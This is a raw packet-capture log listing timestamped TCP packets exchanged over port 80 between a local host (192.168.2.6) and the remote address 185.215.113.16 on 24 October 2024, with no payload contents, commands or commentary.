Oct 24, 2024 18:09:22.152594090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152595043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152594090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152614117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152622938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152631998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152637959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152657986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152678013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152960062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152976036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152990103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.153033972 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.153068066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.175893068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.175944090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.175981998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.176361084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.218214035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.218348980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.218381882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.218400955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.218437910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.218601942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.263938904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.263993025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.264012098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.264029980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.264174938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.268440962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268496037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268531084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268560886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.268599033 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.268649101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268683910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268717051 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268739939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.268752098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268785000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268810034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.268819094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268831968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.268872023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268923998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.268923998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268959999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.268994093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269000053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269021988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269028902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269042015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269059896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269082069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269093990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269100904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269126892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269144058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269161940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269184113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269196987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269215107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269231081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269238949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269280910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269289017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269340038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269349098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269385099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269404888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269419909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269435883 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269454956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269463062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269489050 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269495964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269521952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269546032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269563913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269565105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269601107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269618034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269634962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269656897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269694090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269754887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269787073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269807100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269820929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269843102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269880056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269916058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269949913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.269970894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.269984961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.270040989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.293747902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.293771982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.293790102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.293828964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.293863058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.336216927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.336266994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.336306095 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.336447001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.380733013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.380757093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.380773067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.380861044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.380861044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385380983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385409117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385425091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385452986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385452986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385483027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385516882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385540962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385556936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385571003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385572910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385591030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385591030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385607958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385632038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385632038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385829926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385847092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385860920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385876894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385893106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385900021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385910034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385920048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385926962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.385941029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385957956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.385977030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386166096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386181116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386194944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386209011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386221886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386221886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386224985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386243105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386244059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386269093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386269093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386287928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386455059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386471033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386487007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386508942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386514902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386514902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386531115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386542082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386542082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386547089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386564016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386568069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386580944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386581898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386595964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.386616945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386616945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.386636972 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.387016058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.387031078 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.387046099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.387061119 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.387075901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.387079000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.387079000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.387106895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.387106895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.387136936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.387285948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.387301922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.387326956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.387337923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.387367010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.387367964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.410806894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.410830021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.410846949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.410886049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.410923958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.410923958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.452995062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.453046083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.453083992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.453109026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.453109026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.453200102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.498230934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.498260021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.498275995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.498315096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.498366117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502387047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502403975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502418995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502433062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502445936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502450943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502468109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502470970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502484083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502491951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502500057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502513885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502521038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502533913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502537012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502554893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502559900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502559900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502588034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502588034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502705097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502722025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502773046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502859116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502876997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.502913952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.502947092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503128052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503144026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503158092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503176928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503181934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503181934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503201008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503202915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503223896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503235102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503243923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503251076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503287077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503287077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503480911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503496885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503511906 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503526926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503536940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503537893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503544092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503561020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503566027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503566027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503576994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503586054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503596067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503612041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503613949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503613949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503627062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503633976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503653049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503675938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.503957987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503973961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.503988981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.504013062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.504013062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.504046917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.504054070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.504070044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.504096985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.504128933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.504292965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.504307985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.504324913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.504340887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.504350901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.504350901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.504357100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.504379034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.504379034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.504410982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.530599117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.530632019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.530668020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.530680895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.530711889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.530711889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.569865942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.570029974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.570063114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.570132017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.570218086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.615956068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.615989923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.616024017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.616130114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.616131067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.616220951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.619548082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619581938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619632006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619647980 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.619664907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619714975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.619715929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619749069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619766951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.619782925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619831085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.619853020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619885921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619919062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619935989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.619954109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.619963884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.619986057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620019913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620040894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620053053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620085955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620099068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620121956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620136976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620157003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620187998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620208025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620223045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620256901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620269060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620290041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620304108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620326042 CEST	80	49997	185.215.113.16	192.168.2.6
